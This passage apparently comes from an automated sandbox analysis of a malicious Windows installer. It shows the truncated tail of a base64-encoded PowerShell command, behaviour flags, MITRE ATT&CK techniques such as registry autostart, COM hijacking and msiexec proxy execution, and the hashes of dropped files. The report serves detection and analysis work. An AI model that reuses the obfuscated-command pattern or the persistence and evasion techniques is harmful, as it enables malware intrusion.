AAkAHYAcwAgAC0ARgBvAHIAYwBlACAALQBFAEEAIAAwAH0AYwBhAHQAYwBoAHsAfQB9AH0AfQBmAGkAbgBhAGwAbAB5AHsAdAByAHkAewAkAF8AbQB4AC4AUgBlAGwAZQBhAHMAZQBNAHUAdABlAHgAKAApADsAJABfAG0AeAAuAEQAaQBzAHAAbwBzAGUAKAApAH0AYwBhAHQAYwBoAHsAfQB9AA==3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3108
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Component Object Model Hijacking
1Installer Packages
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Component Object Model Hijacking
1Installer Packages
1Defense Evasion
Modify Registry
1System Binary Proxy Execution
1Msiexec
1Virtualization/Sandbox Evasion
6Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59f19d.rbs
- Size 8KB
- SHA256 04c0abdc8e009b344869c57f48b15fcfce3cc2f74e36ef78655dab40f92541eb
- MD5 46fc80695bcf73fc31f6edf63d44b74f
- SHA1 ef81109e9d05d6ffaaa287d2c81d68d403366aaa
- SHA512 24b2ed7e0d3d57584b424c1d8ecf5b152d7752e2bbf96af4dafbc7e1a5b3e19c0b98e608462c2317d5c1a1fe79db2951397d25b9ea77b6a18b7070fcf416836d
- SSDEEP 192:1Y1YCx06FzvGTzvCPEG+TIdjOTo9Ii3up1kaE046O:1Yn0qz6zKPEGbdjOTo9IfkaE046O
- TLSH T117020C85A210C0DBE4A22B76CA1B1F153763D3DFD218B70B08CDD6680F27799EB5958E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\DiagnosticsHub\diagdata.dat
- Size 9.8MB
- SHA256 b5d70c04493305cb1a0f9ab8b5767077a2c65066fa6e53e45e5d0d0a32c8f7ff
- MD5 3308e0de7e82121fd7c8e6be575ad25e
- SHA1 ff7cd8384c2cf916fcc2f69e102df3b1fecec968
- SHA512 84c6bf0b5c085a2c3784032bf21cc56a68f6609da5ba1183e33e9ceae8f1d06cfa3171a11e740d63bad18e14705702271ac12f5b1df39ff218500cf9471f8b8f
- SSDEEP 196608:QdYf8d5CEGvExnvHpZiV8FycvAq0SfZkUq6e3JxU7PuDwAXV3OSe/Stp3ZisTZC:nE/9nvHDc8w1sqjxzTlq438
- TLSH T1F2A633F522D2D38E06166F6F99CEF1BC06712ED1146AD635C2BB0441F09B9A395F22B3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIF3BD.tmp
- Size 1.3MB
- SHA256 cc82c64efc9e7ecf116b9effdc6662c816d85d7797b70d19a418d55115c93c88
- MD5 c75f524b5b010c064f8cb1fdac95efeb
- SHA1 cd5e8477afb9f24c704023fff9e1609e56765969
- SHA512 9bb160c95e8d63b4ec662a784e17db22dc4f52b7d13dd3e00189b429d130064039477e8aaad900e239aea990ec26b950c2588130be9d9442c58309ad2d366375
- SSDEEP 24576:171JTG8VLBxoSM3el0etnFZdv/3qtROnG/8c:jJTG8VdxH7l06e
- TLSH T1925549A8C7A804A6D8E2C4787CEB6742D3793C026A0DF87D97C702641E9D36374F6D99
- MD5 SHA1 SHA512 SSDEEP TLSH